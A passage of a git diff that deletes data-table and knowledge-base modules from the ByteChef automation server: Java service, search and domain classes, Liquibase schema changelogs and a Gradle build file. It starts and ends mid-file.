-    private void checkHasId(String physical) {
-        String sql =
-            "SELECT 1 FROM information_schema.columns WHERE table_schema = current_schema() AND table_name = ? AND " +
-                "column_name = 'id'";
-
-        List<Integer> exists = jdbcTemplate.query(sql, ps -> ps.setString(1, physical), (rs, rowNum) -> 1);
-
-        if (exists.isEmpty()) {
-            throw new IllegalStateException("Table does not have primary key column 'id': " + physical);
-        }
-    }
-
-    private Object coerceValue(ColumnType type, Object rawValue) {
-        if (rawValue == null) {
-            return null;
-        }
-
-        if (rawValue instanceof String string) {
-            String trimmed = string.trim();
-
-            if (trimmed.isEmpty()) {
-                return type == ColumnType.STRING ? "" : null;
-            }
-
-            return switch (type) {
-                case STRING -> trimmed;
-                case BOOLEAN -> com.bytechef.commons.util.StringUtils.parseBoolean(trimmed);
-                case INTEGER -> com.bytechef.commons.util.StringUtils.parseLong(trimmed);
-                case NUMBER -> com.bytechef.commons.util.StringUtils.parseBigDecimal(trimmed);
-                case DATE -> com.bytechef.commons.util.StringUtils.parseSqlDate(trimmed);
-                case DATE_TIME -> com.bytechef.commons.util.StringUtils.parseSqlTimestamp(trimmed);
-            };
-        }
-
-        return switch (type) {
-            case STRING -> String.valueOf(rawValue);
-            case BOOLEAN -> (rawValue instanceof Boolean) ? rawValue
-                : com.bytechef.commons.util.StringUtils.parseBoolean(String.valueOf(rawValue));
-            case INTEGER -> (rawValue instanceof Number n) ? Long.valueOf(n.longValue())
-                : com.bytechef.commons.util.StringUtils.parseLong(String.valueOf(rawValue));
-            case NUMBER -> (rawValue instanceof BigDecimal bd)
-                ? bd
-                : (rawValue instanceof Number n) ? toBigDecimal(n)
-                    : com.bytechef.commons.util.StringUtils.parseBigDecimal(String.valueOf(rawValue));
-            case DATE ->
-                (rawValue instanceof java.sql.Date date) ? date
-                    : (rawValue instanceof Date date2) ? new Date(date2.getTime())
-                        : com.bytechef.commons.util.StringUtils.parseSqlDate(String.valueOf(rawValue));
-            case DATE_TIME ->
-                (rawValue instanceof Timestamp timestamp) ? timestamp
-                    : (rawValue instanceof Date date3) ? new Timestamp(date3.getTime())
-                        : com.bytechef.commons.util.StringUtils.parseSqlTimestamp(String.valueOf(rawValue));
-        };
-    }
-
-    private Map<String, ColumnType> columnTypeMap(String physicalName) {
-        Map<String, ColumnType> columnTypeMap = new HashMap<>();
-
-        for (ColumnSpec columnSpec : listColumns(physicalName)) {
-            columnTypeMap.put(StringUtils.lowerCase(columnSpec.name()), columnSpec.type());
-        }
-
-        return columnTypeMap;
-    }
-
-    private String escapeIdentifier(String identifier) {
-        Assert.hasText(identifier, "identifier must not be empty");
-
-        String normalizedName = identifier.toLowerCase(Locale.ROOT);
-
-        Assert.isTrue(normalizedName.matches("[a-z_][a-z0-9_]*"), "Invalid identifier: " + identifier);
-
-        return '"' + normalizedName + '"';
-    }
-
-    private Object getValueCaseInsensitive(Map<String, Object> values, String columnName) {
-        if (values.containsKey(columnName)) {
-            return values.get(columnName);
-        }
-
-        String lowerCaseColumnName = columnName.toLowerCase(Locale.ROOT);
-
-        for (Map.Entry<String, Object> entry : values.entrySet()) {
-            String key = entry.getKey();
-
-            if (lowerCaseColumnName.equals(key.toLowerCase(Locale.ROOT))) {
-                return entry.getValue();
-            }
-        }
-
-        return null;
-    }
-
-    private List<ColumnSpec> listColumns(String physicalName) {
-        String sql = "SELECT column_name, data_type FROM information_schema.columns " +
-            "WHERE table_schema = current_schema() AND table_name = ? ORDER BY ordinal_position";
-
-        return jdbcTemplate.query(sql, ps -> ps.setString(1, physicalName), (rs, rowNum) -> {
-            String name = rs.getString("column_name");
-            String dataType = rs.getString("data_type");
-
-            return new ColumnSpec(name, mapType(dataType));
-        });
-    }
-
-    private ColumnType mapType(String pgType) {
-        String type = StringUtils.lowerCase(String.valueOf(pgType));
-
-        if (type.startsWith("timestamp")) {
-            return ColumnType.DATE_TIME;
-        }
-
-        if (type.equals("boolean") || type.equals("bool")) {
-            return ColumnType.BOOLEAN;
-        }
-
-        switch (type) {
-            case "integer", "int4", "smallint", "int2", "bigint", "int8", "serial", "bigserial" -> {
-
-                return ColumnType.INTEGER;
-            }
-            case "numeric", "decimal", "double precision", "real" -> {
-
-                return ColumnType.NUMBER;
-            }
-            case "date" -> {
-                return ColumnType.DATE;
-            }
-            default -> {
-                return ColumnType.STRING;
-            }
-        }
-    }
-
-    private void setParam(PreparedStatement ps, int index, ColumnType type, Object value) throws SQLException {
-        if (value == null) {
-            int sqlType = switch (type) {
-                case STRING -> Types.VARCHAR;
-                case NUMBER -> Types.DECIMAL;
-                case INTEGER -> Types.BIGINT;
-                case DATE -> Types.DATE;
-                case DATE_TIME -> Types.TIMESTAMP;
-                case BOOLEAN -> Types.BOOLEAN;
-            };
-
-            ps.setNull(index, sqlType);
-
-            return;
-        }
-
-        switch (type) {
-            case STRING -> ps.setString(index, String.valueOf(value));
-            case NUMBER ->
-                ps.setBigDecimal(index, (value instanceof BigDecimal bd) ? bd : toBigDecimal((Number) value));
-            case INTEGER -> {
-                switch (value) {
-                    case Integer integer -> ps.setInt(index, integer);
-                    case Long aLong -> ps.setLong(index, aLong);
-                    case Number number -> ps.setLong(index, number.longValue());
-                    default -> ps.setObject(index, value, Types.BIGINT);
-                }
-            }
-            case DATE -> {
-                if (value instanceof java.sql.Date d)
-                    ps.setDate(index, d);
-                else if (value instanceof Date d)
-                    ps.setDate(index, new java.sql.Date(d.getTime()));
-                else
-                    ps.setDate(index, com.bytechef.commons.util.StringUtils.parseSqlDate(String.valueOf(value)));
-            }
-            case DATE_TIME -> {
-                if (value instanceof Timestamp t)
-                    ps.setTimestamp(index, t);
-                else if (value instanceof Date d)
-                    ps.setTimestamp(index, new Timestamp(d.getTime()));
-                else
-                    ps.setTimestamp(
-                        index,
-                        com.bytechef.commons.util.StringUtils.parseSqlTimestamp(String.valueOf(value)));
-            }
-            case BOOLEAN -> {
-                if (value instanceof Boolean b)
-                    ps.setBoolean(index, b);
-                else
-                    ps.setBoolean(index, Boolean.parseBoolean(String.valueOf(value)));
-            }
-            default -> throw new IllegalArgumentException("Unsupported type: " + type);
-        }
-    }
-
-    private static BigDecimal toBigDecimal(Number number) {
-        if (number instanceof BigDecimal bd) {
-            return bd;
-        }
-
-        if (number instanceof Long || number instanceof Integer || number instanceof Short || number instanceof Byte) {
-            return BigDecimal.valueOf(number.longValue());
-        }
-
-        return new BigDecimal(String.valueOf(number));
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/search/DataTableSearchAssetProvider.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/search/DataTableSearchAssetProvider.java
deleted file mode 100644
index 1008ff046a9..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/search/DataTableSearchAssetProvider.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.search;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-class DataTableSearchAssetProvider implements SearchAssetProvider {
-
-    private final DataTableService dataTableService;
-
-    DataTableSearchAssetProvider(DataTableService dataTableService) {
-        this.dataTableService = dataTableService;
-    }
-
-    @Override
-    public List<DataTableSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        return dataTableService.listTables(1L)
-            .stream()
-            .filter(table -> containsIgnoreCase(table.baseName(), queryLower))
-            .limit(limit)
-            .map(table -> new DataTableSearchResult(table.id(), table.baseName()))
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.DATA_TABLE;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/search/DataTableSearchResult.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/search/DataTableSearchResult.java
deleted file mode 100644
index ccc60357034..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/search/DataTableSearchResult.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record DataTableSearchResult(Long id, String name) implements SearchResult<Long> {
-
-    @Override
-    public String description() {
-        return null;
-    }
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.DATA_TABLE;
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index fbc0c8df176..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.automation.data.table.configuration.config.AutomationDataTableJdbcRepositoryConfiguration
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/config/liquibase/changelog/automation/data_table/00000000000001_automation_data_table_init.xml b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/config/liquibase/changelog/automation/data_table/00000000000001_automation_data_table_init.xml
deleted file mode 100644
index 371fbff3308..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/config/liquibase/changelog/automation/data_table/00000000000001_automation_data_table_init.xml
+++ /dev/null
@@ -1,107 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<databaseChangeLog xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
-                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                   xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
-                   http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.20.xsd">
-
-    <changeSet id="00000000000001" author="Ivica Cardic">
-        <createTable tableName="data_table">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="name" type="VARCHAR(256)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="description" type="TEXT"/>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addUniqueConstraint tableName="data_table" columnNames="name" constraintName="uk_data_table_name"/>
-
-        <createTable tableName="data_table_webhook">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="data_table_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="url" type="VARCHAR(2000)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="type" type="INT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="environment" type="INT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addForeignKeyConstraint
-            baseTableName="data_table_webhook"
-            baseColumnNames="data_table_id"
-            constraintName="fk_data_table_webhook_data_table"
-            referencedTableName="data_table"
-            referencedColumnNames="id"
-            onDelete="CASCADE"/>
-
-        <addUniqueConstraint
-            tableName="data_table_webhook"
-            columnNames="data_table_id,type,url,environment"
-            constraintName="uk_data_table_webhook"/>
-
-        <createTable tableName="data_table_tag">
-            <column name="data_table_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="tag_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addPrimaryKey tableName="data_table_tag" columnNames="data_table_id,tag_id"/>
-
-        <addForeignKeyConstraint
-            baseTableName="data_table_tag"
-            baseColumnNames="data_table_id"
-            constraintName="fk_data_table_tag_data_table"
-            referencedTableName="data_table"
-            referencedColumnNames="id"
-            onDelete="CASCADE"/>
-
-        <addForeignKeyConstraint
-            baseTableName="data_table_tag"
-            baseColumnNames="tag_id"
-            constraintName="fk_data_table_tag_tag"
-            referencedTableName="tag"
-            referencedColumnNames="id"/>
-    </changeSet>
-</databaseChangeLog>
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/config/liquibase/changelog/automation/data_table/20251215000001_automation_data_table_added_workspace_data_table_table.xml b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/config/liquibase/changelog/automation/data_table/20251215000001_automation_data_table_added_workspace_data_table_table.xml
deleted file mode 100644
index 14f386adeb7..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/resources/config/liquibase/changelog/automation/data_table/20251215000001_automation_data_table_added_workspace_data_table_table.xml
+++ /dev/null
@@ -1,53 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<databaseChangeLog xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
-                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                   xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog
-                   http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.20.xsd">
-    <changeSet id="20251215000001-1" author="Ivica Cardic">
-        <createTable tableName="workspace_data_table">
-            <column name="id" type="BIGINT" autoIncrement="true" startWith="1050">
-                <constraints primaryKey="true" nullable="false"/>
-            </column>
-            <column name="data_table_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="workspace_id" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="created_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_date" type="TIMESTAMP">
-                <constraints nullable="false"/>
-            </column>
-            <column name="last_modified_by" type="VARCHAR(50)">
-                <constraints nullable="false"/>
-            </column>
-            <column name="version" type="BIGINT">
-                <constraints nullable="false"/>
-            </column>
-        </createTable>
-
-        <addForeignKeyConstraint
-            baseTableName="workspace_data_table"
-            baseColumnNames="data_table_id"
-            constraintName="fk_workspace_data_table_data_table"
-            referencedTableName="data_table"
-            referencedColumnNames="id"/>
-
-        <addForeignKeyConstraint
-            baseTableName="workspace_data_table"
-            baseColumnNames="workspace_id"
-            constraintName="fk_workspace_data_table_workspace"
-            referencedTableName="workspace"
-            referencedColumnNames="id"/>
-
-        <addUniqueConstraint
-            constraintName="uk_workspace_data_table_workspace_table"
-            tableName="workspace_data_table"
-            columnNames="workspace_id,data_table_id" />
-    </changeSet>
-</databaseChangeLog>
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/build.gradle.kts
deleted file mode 100644
index 7998debc0fd..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/build.gradle.kts
+++ /dev/null
@@ -1,12 +0,0 @@
-dependencies {
-    api("org.springframework.boot:spring-boot")
-    api("org.springframework.data:spring-data-commons")
-    api(project(":server:libs:core:file-storage:file-storage-api"))
-    api(project(":server:libs:core:message:message-api"))
-    api(project(":server:libs:core:message:message-event:message-event-api"))
-    api(project(":server:libs:platform:platform-configuration:platform-configuration-api"))
-    api(project(":server:libs:platform:platform-tag:platform-tag-api"))
-
-    implementation("org.springframework.data:spring-data-jdbc")
-    implementation(project(":server:libs:core:commons:commons-util"))
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBase.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBase.java
deleted file mode 100644
index ed11d92eb9b..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBase.java
+++ /dev/null
@@ -1,218 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.domain;
-
-import com.bytechef.commons.util.CollectionUtils;
-import com.bytechef.platform.tag.domain.Tag;
-import java.time.Instant;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Objects;
-import java.util.Set;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.MappedCollection;
-import org.springframework.data.relational.core.mapping.Table;
-
-@Table("knowledge_base")
-public class KnowledgeBase {
-
-    @Id
-    private Long id;
-
-    private String name;
-
-    private String description;
-
-    private int maxChunkSize = 1024;
-
-    private int minChunkSizeChars = 100;
-
-    private int overlap = 200;
-
-    @MappedCollection(idColumn = "knowledge_base_id")
-    private Set<KnowledgeBaseTag> knowledgeBaseTags = new HashSet<>();
-
-    @CreatedDate
-    private Instant createdDate;
-
-    @CreatedBy
-    private String createdBy;
-
-    @LastModifiedDate
-    private Instant lastModifiedDate;
-
-    @LastModifiedBy
-    private String lastModifiedBy;
-
-    @Version
-    private int version;
-
-    public KnowledgeBase() {
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public String getDescription() {
-        return description;
-    }
-
-    public void setDescription(String description) {
-        this.description = description;
-    }
-
-    public int getMaxChunkSize() {
-        return maxChunkSize;
-    }
-
-    public void setMaxChunkSize(int maxChunkSize) {
-        this.maxChunkSize = maxChunkSize;
-    }
-
-    public int getMinChunkSizeChars() {
-        return minChunkSizeChars;
-    }
-
-    public void setMinChunkSizeChars(int minChunkSizeChars) {
-        this.minChunkSizeChars = minChunkSizeChars;
-    }
-
-    public int getOverlap() {
-        return overlap;
-    }
-
-    public void setOverlap(int overlap) {
-        this.overlap = overlap;
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public void setCreatedDate(Instant createdDate) {
-        this.createdDate = createdDate;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public void setCreatedBy(String createdBy) {
-        this.createdBy = createdBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public void setLastModifiedDate(Instant lastModifiedDate) {
-        this.lastModifiedDate = lastModifiedDate;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public void setLastModifiedBy(String lastModifiedBy) {
-        this.lastModifiedBy = lastModifiedBy;
-    }
-
-    public int getVersion() {
-        return version;
-    }
-
-    public void setVersion(int version) {
-        this.version = version;
-    }
-
-    public List<Long> getTagIds() {
-        return knowledgeBaseTags
-            .stream()
-            .map(KnowledgeBaseTag::getTagId)
-            .toList();
-    }
-
-    public void setTagIds(List<Long> tagIds) {
-        this.knowledgeBaseTags = new HashSet<>();
-
-        if (!CollectionUtils.isEmpty(tagIds)) {
-            for (long tagId : tagIds) {
-                knowledgeBaseTags.add(new KnowledgeBaseTag(tagId));
-            }
-        }
-    }
-
-    public void setTags(List<Tag> tags) {
-        if (!CollectionUtils.isEmpty(tags)) {
-            setTagIds(CollectionUtils.map(tags, Tag::getId));
-        }
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (!(o instanceof KnowledgeBase that)) {
-            return false;
-        }
-
-        return Objects.equals(id, that.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(id);
-    }
-
-    @Override
-    public String toString() {
-        return "KnowledgeBase{" +
-            "id=" + id +
-            ", name='" + name + '\'' +
-            ", description='" + description + '\'' +
-            ", maxChunkSize=" + maxChunkSize +
-            ", minChunkSizeChars=" + minChunkSizeChars +
-            ", overlap=" + overlap +
-            ", knowledgeBaseTags=" + knowledgeBaseTags +
-            ", createdDate=" + createdDate +
-            ", createdBy='" + createdBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocument.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocument.java
deleted file mode 100644
index 8af64d5db99..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocument.java
+++ /dev/null
@@ -1,213 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.domain;
-
-import com.bytechef.commons.util.CollectionUtils;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.platform.tag.domain.Tag;
-import java.time.Instant;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Objects;
-import java.util.Set;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.MappedCollection;
-import org.springframework.data.relational.core.mapping.Table;
-
-@Table("knowledge_base_document")
-public class KnowledgeBaseDocument {
-
-    @Id
-    private Long id;
-
-    private Long knowledgeBaseId;
-
-    private String name;
-
-    private FileEntry document;
-
-    private int status;
-
-    @MappedCollection(idColumn = "knowledge_base_document_id")
-    private Set<KnowledgeBaseDocumentTag> knowledgeBaseDocumentTags = new HashSet<>();
-
-    @CreatedDate
-    private Instant createdDate;
-
-    @CreatedBy
-    private String createdBy;
-
-    @LastModifiedDate
-    private Instant lastModifiedDate;
-
-    @LastModifiedBy
-    private String lastModifiedBy;
-
-    @Version
-    private int version;
-
-    public static final int STATUS_UPLOADED = 0;
-    public static final int STATUS_PROCESSING = 1;
-    public static final int STATUS_READY = 2;
-    public static final int STATUS_ERROR = 3;
-
-    public KnowledgeBaseDocument() {
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public Long getKnowledgeBaseId() {
-        return knowledgeBaseId;
-    }
-
-    public void setKnowledgeBaseId(Long knowledgeBaseId) {
-        this.knowledgeBaseId = knowledgeBaseId;
-    }
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public FileEntry getDocument() {
-        return document;
-    }
-
-    public void setDocument(FileEntry document) {
-        this.document = document;
-    }
-
-    public int getStatus() {
-        return status;
-    }
-
-    public void setStatus(int status) {
-        this.status = status;
-    }
-
-    public Instant getCreatedDate() {
-        return createdDate;
-    }
-
-    public void setCreatedDate(Instant createdDate) {
-        this.createdDate = createdDate;
-    }
-
-    public String getCreatedBy() {
-        return createdBy;
-    }
-
-    public void setCreatedBy(String createdBy) {
-        this.createdBy = createdBy;
-    }
-
-    public Instant getLastModifiedDate() {
-        return lastModifiedDate;
-    }
-
-    public void setLastModifiedDate(Instant lastModifiedDate) {
-        this.lastModifiedDate = lastModifiedDate;
-    }
-
-    public String getLastModifiedBy() {
-        return lastModifiedBy;
-    }
-
-    public void setLastModifiedBy(String lastModifiedBy) {
-        this.lastModifiedBy = lastModifiedBy;
-    }
-
-    public int getVersion() {
-        return version;
-    }
-
-    public void setVersion(int version) {
-        this.version = version;
-    }
-
-    public List<Long> getTagIds() {
-        return knowledgeBaseDocumentTags
-            .stream()
-            .map(KnowledgeBaseDocumentTag::getTagId)
-            .toList();
-    }
-
-    public void setTagIds(List<Long> tagIds) {
-        this.knowledgeBaseDocumentTags = new HashSet<>();
-
-        if (!CollectionUtils.isEmpty(tagIds)) {
-            for (long tagId : tagIds) {
-                knowledgeBaseDocumentTags.add(new KnowledgeBaseDocumentTag(tagId));
-            }
-        }
-    }
-
-    public void setTags(List<Tag> tags) {
-        if (!CollectionUtils.isEmpty(tags)) {
-            setTagIds(CollectionUtils.map(tags, Tag::getId));
-        }
-    }
-
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) {
-            return true;
-        }
-
-        if (!(o instanceof KnowledgeBaseDocument that)) {
-            return false;
-        }
-
-        return Objects.equals(id, that.id);
-    }
-
-    @Override
-    public int hashCode() {
-        return Objects.hash(id);
-    }
-
-    @Override
-    public String toString() {
-        return "KnowledgeBaseDocument{" +
-            "id=" + id +
-            ", knowledgeBaseId=" + knowledgeBaseId +
-            ", name='" + name + '\'' +
-            ", document=" + document +
-            ", status=" + status +
-            ", knowledgeBaseDocumentTags=" + knowledgeBaseDocumentTags +
-            ", createdDate=" + createdDate +
-            ", createdBy='" + createdBy + '\'' +
-            ", lastModifiedDate=" + lastModifiedDate +
-            ", lastModifiedBy='" + lastModifiedBy + '\'' +
-            ", version=" + version +
-            '}';
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocumentChunk.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocumentChunk.java
deleted file mode 100644
index a2c94f913a7..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-api/src/main/java/com/bytechef/automation/knowledgebase/domain/KnowledgeBaseDocumentChunk.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.domain;
-
-import com.bytechef.file.storage.domain.FileEntry;
-import java.time.Instant;
-import java.util.Collections;
-import java.util.Map;
-import java.util.Objects;
-import org.springframework.data.annotation.CreatedBy;
-import org.springframework.data.annotation.CreatedDate;
-import org.springframework.data.annotation.Id;
-import org.springframework.data.annotation.LastModifiedBy;
-import org.springframework.data.annotation.LastModifiedDate;
-import org.springframework.data.annotation.Transient;
-import org.springframework.data.annotation.Version;
-import org.springframework.data.relational.core.mapping.Table;
-
-@Table("knowledge_base_document_chunk")
-public class KnowledgeBaseDocumentChunk {
-
-    @Id
-    private Long id;
-
-    private Long knowledgeBaseDocumentId;
-
-    private String vectorStoreId;
-
-    private FileEntry content;
-
-    @Transient
-    private Map<String, ?> metadata;
-
-    @Transient
-    private Float score;
-
-    @Transient
